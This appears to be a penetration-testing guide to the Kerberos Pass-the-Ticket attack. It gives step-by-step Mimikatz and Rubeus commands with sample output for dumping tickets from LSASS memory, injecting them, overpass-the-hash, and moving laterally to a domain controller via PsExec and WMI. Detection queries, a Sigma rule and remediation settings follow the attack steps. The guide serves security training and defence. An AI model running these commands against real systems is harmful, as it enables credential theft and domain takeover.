
Pass-the-Ticket: Kerberos Ticket Hijacking
Pass-the-Ticket attack technique for lateral movement by exporting and importing Kerberos tickets from memory.
Introduction
Pass-the-Ticket (PtT) exploits the way Windows stores Kerberos tickets in LSASS memory. A valid Kerberos ticket — either a Ticket Granting Ticket (TGT) or a service ticket (TGS) — can be extracted from one session and injected into another without knowing the account's password or hash. The injected session then authenticates as if it were the original account.
Unlike Pass-the-Hash, PtT works in environments where NTLM authentication has been disabled or restricted to LAN Manager. Kerberos has no mechanism to verify that a ticket is being used from the same machine or session it was issued to — the KDC simply checks the ticket's encryption and timestamps. This architectural property is what makes PtT viable.
The scope of access depends on what was stolen. A TGT provides access to any service in the domain for the duration of the ticket's lifetime (default 10 hours). A TGS is scoped to a single service on a single host. TGT theft from a privileged session — Domain Admin, local admin with cached tickets, or a service account — is the higher-value target. TGS theft requires less privilege to execute but is narrower in impact.
Authorization Required
Pass-the-Ticket techniques require administrative access to the source machine to read LSASS memory. Only execute these techniques on systems you are explicitly authorized to test. Memory dumping triggers AV/EDR alerts and leaves forensic artifacts.
Impact
- Full domain impersonation when a Domain Admin TGT is stolen — the attacker can request service tickets for any SPN in the domain
- NTLM-free lateral movement — bypasses environments that have blocked NTLM via GPO
- No credential exposure — the attack leaves no plaintext or hash on disk; tickets are ephemeral in memory
- Persistence within ticket lifetime — default TGT lifetime is 10 hours, renewable up to 7 days without re-authentication
- Service-specific access — TGS theft grants silent access to SMB shares, MSSQL, HTTP services without triggering password-based authentication events
- Cross-session privilege abuse — a low-privilege process with SeDebugPrivilege can hijack tickets from high-privilege sessions running on the same host
Technical Details
Kerberos tickets are stored in the Local Security Authority Subsystem Service (LSASS) process memory under each logon session. The Kerberos Security Support Provider (SSPI) maintains a ticket cache per logon session, keyed by the Logon Session ID (LUID). Windows exposes this cache through the undocumented LsaCallAuthenticationPackage API, which Mimikatz and Rubeus both use to enumerate and extract tickets.
Tickets are serialized in the Kerberos Credential (KIRBI) format — a DER-encoded ASN.1 structure wrapping the encrypted ticket and session keys. When you inject a .kirbi file with kerberos::ptt or Rubeus ptt, the ticket is imported into the current session's credential cache. All subsequent Kerberos authentication from that process uses the injected ticket.
The key distinction in PtT targets:
| Ticket Type | Encrypted By | Access Scope | Value |
|---|---|---|---|
| TGT | KRBTGT hash | Any service in the domain | High |
| TGS (service ticket) | Service account hash | Single SPN only | Medium |
| TGS from DC memory | KRBTGT hash (wrapped) | Depends on what was captured | Variable |
Privilege Escalation to Read LSASS
Most PtT workflows require SeDebugPrivilege to read LSASS memory. On systems where you have local admin, Mimikatz acquires this via privilege::debug. Rubeus running as SYSTEM or with debug rights will enumerate tickets from all sessions.
mimikatz # privilege::debug
Privilege '20' OKWithout debug privilege, ticket extraction is limited to the current user's own session.
Export Tickets from LSASS (Mimikatz)
sekurlsa::tickets /export dumps every Kerberos ticket from all logon sessions to .kirbi files in the current directory.
mimikatz # sekurlsa::tickets /export
Authentication Id : 0 ; 524892 (00000000:0008021c)
Session : Interactive from 1
User Name : jsmith
Domain : CORP
Logon Server : DC01
Logon Time : 6/23/2026 9:14:32 AM
SID : S-1-5-21-3842939050-3880317879-2865463114-1105
* Username : jsmith
* Domain : CORP.LOCAL
* Password : (null)
Group 0 - Ticket Granting Service
[00000000]
Start/End/MaxRenew: 6/23/2026 9:14:32 AM ; 6/23/2026 7:14:32 PM ; 6/30/2026 9:14:32 AM
Service Name (02) : cifs ; DC01.corp.local ; @ CORP.LOCAL
Target Name (02) : cifs ; DC01.corp.local ; @ CORP.LOCAL
Client Name (01) : jsmith @ CORP.LOCAL
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
Ticket : 0x00000012 - aes256_hmac ; kvno = 4 [...]
* Saved to file [0;8021c]-0-0-40a50000-jsmith@cifs-DC01.corp.local.kirbi !
Group 1 - Client Ticket (?)
Group 2 - Ticket Granting Ticket
[00000000]
Start/End/MaxRenew: 6/23/2026 9:14:32 AM ; 6/23/2026 7:14:32 PM ; 6/30/2026 9:14:32 AM
Service Name (02) : krbtgt ; CORP.LOCAL ; @ CORP.LOCAL
Target Name (02) : krbtgt ; CORP.LOCAL ; @ CORP.LOCAL
Client Name (01) : jsmith @ CORP.LOCAL
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...]
* Saved to file [0;8021c]-2-0-40e10000-jsmith@krbtgt-CORP.LOCAL.kirbi !TGT files are named [LUID]-2-0-40e10000-<user>@krbtgt-<domain>.kirbi. TGS files use group 0 ([LUID]-0-0-...).
Inject the Ticket (Mimikatz ptt)
Clear the current session's ticket cache first, then inject the target ticket.
# Clear existing tickets to avoid conflicts
mimikatz # kerberos::purge
Ticket(s) purge for current session is OK
# Import TGT
mimikatz # kerberos::ptt [0;8021c]-2-0-40e10000-jsmith@krbtgt-CORP.LOCAL.kirbi
* File: '[0;8021c]-2-0-40e10000-jsmith@krbtgt-CORP.LOCAL.kirbi': OK
# Or import TGS directly
mimikatz # kerberos::ptt [0;8021c]-0-0-40a50000-jsmith@cifs-DC01.corp.local.kirbi
* File: '[0;8021c]-0-0-40a50000-jsmith@cifs-DC01.corp.local.kirbi': OKVerify Injection
C:\> klist
Current LogonId is 0:0x31a4f2
Cached Tickets: (2)
#0> Client: jsmith @ CORP.LOCAL
Server: krbtgt/CORP.LOCAL @ CORP.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 6/23/2026 9:14:32 (local)
End Time: 6/23/2026 19:14:32 (local)
Renew Time: 6/30/2026 9:14:32 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
#1> Client: jsmith @ CORP.LOCAL
Server: cifs/DC01.corp.local @ CORP.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 6/23/2026 9:14:32 (local)
End Time: 6/23/2026 19:14:32 (local)
Renew Time: 6/30/2026 9:14:32 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x0With a TGT injected, the session will request new TGS tickets transparently when accessing services.
Access Target Resources
# List DC admin share (TGT will auto-request cifs TGS)
dir \\DC01.corp.local\C$
# Remote command execution via SMB
.\PsExec.exe \\DC01.corp.local -s cmd.exe
# WMI lateral movement
wmic /node:DC01.corp.local process call create "cmd.exe /c whoami > C:\out.txt"Overpass-the-Hash (Hash to TGT)
When you have an NTLM hash but want a Kerberos TGT rather than an NTLM token, use Mimikatz sekurlsa::pth. This spawns a new process using the hash to request a TGT from the KDC, avoiding NTLM authentication entirely — critical in environments that log NTLM usage.
mimikatz # sekurlsa::pth /user:jsmith /domain:corp.local /ntlm:a87f3a337d73085c45f9416be5787d86 /run:cmd.exe
user : jsmith
domain : corp.local
program : cmd.exe
impers. : no
NTLM : a87f3a337d73085c45f9416be5787d86
| PID 3740
| TID 4832
| LSA Process is now R/W
| LUID 0 ; 15992898 (00000000:00f41242)
\_ msv1_0 - data copy @ 00000083E5B0B390 : OK !
\_ kerberos - data copy @ 00000083E5AA3EB8
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 00000083E56FF698 (32) -> nullThe new cmd.exe process has the hash loaded in its Kerberos context. The first Kerberos authentication (e.g., dir \\DC01\share) triggers an AS-REQ that fetches a real TGT.
Attack Tools
Export all tickets from LSASS:
privilege::debug
sekurlsa::tickets /exportInject a specific ticket:
kerberos::purge
kerberos::ptt [0;8021c]-2-0-40e10000-jsmith@krbtgt-CORP.LOCAL.kirbiOverpass-the-Hash (get TGT from NTLM hash):
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:aad3b435b51404eeaad3b435b51404ee /run:cmd.exeList tickets in current session:
kerberos::listDump all tickets (base64, no file write):
.\Rubeus.exe dump /nowrap[*] Action: Dump Kerberos Ticket Data (All Users)
[*] Current LUID : 0x31a4f2
UserName : jsmith
Domain : CORP
LogonId : 0x8021c
UserSID : S-1-5-21-3842939050-3880317879-2865463114-1105
AuthenticationPackage : Kerberos
LogonType : Interactive
LogonTime : 6/23/2026 9:14:32 AM
LogonServer : DC01
LogonServerDNSDomain : CORP.LOCAL
[*] Ticket[0]
ServiceName : krbtgt/CORP.LOCAL
ServiceRealm : CORP.LOCAL
UserName : jsmith
UserRealm : CORP.LOCAL
StartTime : 6/23/2026 9:14:32 AM
EndTime : 6/23/2026 7:14:32 PM
RenewTill : 6/30/2026 9:14:32 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_hmac
Base64(key) : abc123...==
Base64EncodedTicket : doIFpDCCBaCgAwIBBaEDAgEW...TRUNCATED...==Inject base64 ticket directly:
.\Rubeus.exe ptt /ticket:doIFpDCCBaCgAwIBBaEDAgEW...==Dump tickets to .kirbi files:
.\Rubeus.exe dump /luid:0x8021c /service:krbtgt /outfile:jsmith_tgt.kirbiRequest TGT using hash (Overpass-the-Hash):
.\Rubeus.exe asktgt /user:jsmith /domain:corp.local /rc4:a87f3a337d73085c45f9416be5787d86 /ptt /nowrapMonitor for new tickets in real time:
.\Rubeus.exe monitor /interval:5 /nowrapDetection
Event IDs to Monitor
| Event ID | Source | Trigger |
|---|---|---|
| 4768 | Domain Controller (Security) | TGT requested (AS-REQ) |
| 4769 | Domain Controller (Security) | Service ticket requested (TGS-REQ) |
| 4771 | Domain Controller (Security) | Kerberos pre-authentication failed |
| 4624 | Target host (Security) | Logon with Kerberos (LogonType 3) |
| 4672 | Target host (Security) | Special privileges assigned to new logon |
| 10 | Sysmon | LSASS memory read (GrantedAccess: 0x1010) |
Anomaly Indicators
Ticket requests from unexpected source IPs:
index=windows EventCode=4768
| where ServiceName="krbtgt"
| eval host_type=if(match(lower(Computer), "^ws-|^pc-|^laptop-"), "workstation", "server")
| where host_type="workstation"
| stats count by IpAddress, TargetUserName, Computer
| where count > 1RC4 encryption where AES is expected:
index=windows EventCode=4769
| where TicketEncryptionType="0x17"
| stats count by TargetUserName, ServiceName, IpAddress
| sort -countEvent ID 4769 with TicketEncryptionType=0x17 (RC4-HMAC) for accounts configured to use AES-256 (0x12) is a strong indicator of ticket forging or older tool usage.
Non-standard ticket lifetimes:
Injected tickets retain their original timestamps. A ticket issued at 09:00 appearing in a session that started at 15:00 is suspicious. SIEM rules can correlate ticket StartTime in 4769 events against logon session creation time.
LSASS handle acquisition (Sysmon Event 10):
<RuleGroup groupRelation="or">
<ProcessAccess onmatch="include">
<TargetImage condition="is">C:\Windows\system32\lsass.exe</TargetImage>
<GrantedAccess condition="contains">0x1010</GrantedAccess>
</ProcessAccess>
</RuleGroup>Mimikatz requests PROCESS_VM_READ | PROCESS_QUERY_INFORMATION (0x1010) against LSASS. Legitimate access patterns (AV, EDR, WER) have known process names and signatures — anything else is worth investigating.
Rubeus dump from non-admin processes:
Rubeus with /luid requires debug privilege. If SeDebugPrivilege is assigned to a process that is not a known admin tool (Event ID 4672, Privilege SeDebugPrivilege), correlate with LSASS access events.
SIEM Correlation Rule
title: Kerberos Ticket Dumped from LSASS
status: stable
logsource:
product: windows
category: process_access
detection:
selection:
TargetImage|endswith: '\lsass.exe'
GrantedAccess|contains:
- '0x1010'
- '0x1410'
- '0x1438'
filter_legit:
SourceImage|contains:
- '\MsMpEng.exe'
- '\SenseIR.exe'
- '\csrss.exe'
condition: selection and not filter_legit
falsepositives:
- Security products with LSASS access
- Crash dump utilities under authorized use
level: high
tags:
- attack.credential_access
- attack.t1003.001
- attack.lateral_movement
- attack.t1550.003Remediation
Credential Guard is the most effective control. It isolates the LSASS credential store in a virtualization-based security (VBS) enclave, making it inaccessible to processes running in the normal OS context — including Mimikatz running as SYSTEM.
# Computer Configuration > Administrative Templates > System > Device Guard
# Turn on Virtualization Based Security: Enabled
# Credential Guard Configuration: Enabled with UEFI lock
# Verify via registry
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\LSA" -Name "LsaCfgFlags"
# LsaCfgFlags = 1 (Enabled without UEFI lock)
# LsaCfgFlags = 2 (Enabled with UEFI lock)
# Verify via WMI
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
Select-Object VirtualizationBasedSecurityStatus, SecurityServicesRunningReduce TGT lifetime to limit the window an attacker has to use a stolen ticket:
# Computer Configuration > Windows Settings > Security Settings > Account Policies > Kerberos Policy
# Maximum lifetime for user ticket: 4 hours (default: 10)
# Maximum lifetime for user ticket renewal: 1 day (default: 7)
# Verify current domain policy
(Get-ADDefaultDomainPasswordPolicy).MaxTicketAgeSession isolation via Restricted Admin mode for RDP prevents credential delegation to remote hosts, which reduces the TGTs exposed on remote machines:
# On remote target — enable Restricted Admin
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value 0 -PropertyType DWORD -Force
# Connect with Restricted Admin (no credentials sent to remote)
mstsc.exe /restrictedadmin /v:TARGET01.corp.localProtected Users security group enforces Kerberos-only authentication and prevents TGT caching for interactive sessions:
Add-ADGroupMember -Identity "Protected Users" -Members "DA-jsmith","DA-admin-svc"
# Effect: no TGT cached longer than 4 hours, no NTLM, no Kerberos delegation,
# no credential caching with CredSSP or DigestTiered admin model — Domain Admins should only log into Tier 0 assets (DCs, PKI, etc.), never workstations. This prevents high-value TGTs from appearing in LSASS on workstations where low-privilege attackers can reach them.
Enforce AES-only Kerberos to eliminate RC4 downgrade attacks that make PtT easier with weaker encryption:
# Set for all user accounts
Get-ADUser -Filter * | Set-ADUser -KerberosEncryptionType AES256,AES128
# Disable RC4 via GPO
# Computer Config > Policies > Windows Settings > Security Settings > Local Policies > Security Options
# "Network security: Configure encryption types allowed for Kerberos"
# Uncheck: DES_CBC_CRC, DES_CBC_MD5, RC4_HMAC_MD5
# Check: AES128_HMAC_SHA1, AES256_HMAC_SHA1References
MITRE ATT&CK Techniques
- T1550.003 - Use Alternate Authentication Material: Pass the Ticket
- T1558 - Steal or Forge Kerberos Tickets
- T1021.002 - Remote Services: SMB/Windows Admin Shares
Tools Documentation
- Mimikatz —
sekurlsa::tickets,kerberos::ptt,sekurlsa::pth - Rubeus —
dump,ptt,asktgt,monitor - Impacket —
getST.py,ticketer.py,psexec.py -k - Klist (built-in) — ticket enumeration and purge
Next Steps
Pass-the-Hash Attacks
Pass-the-Hash exploitation guide for lateral movement using NTLM hashes without cracking passwords.
Silver Ticket Attack and Defense
Silver Ticket attack techniques for forging Kerberos service tickets, maintaining persistent access, and evading detection in Active Directory domains.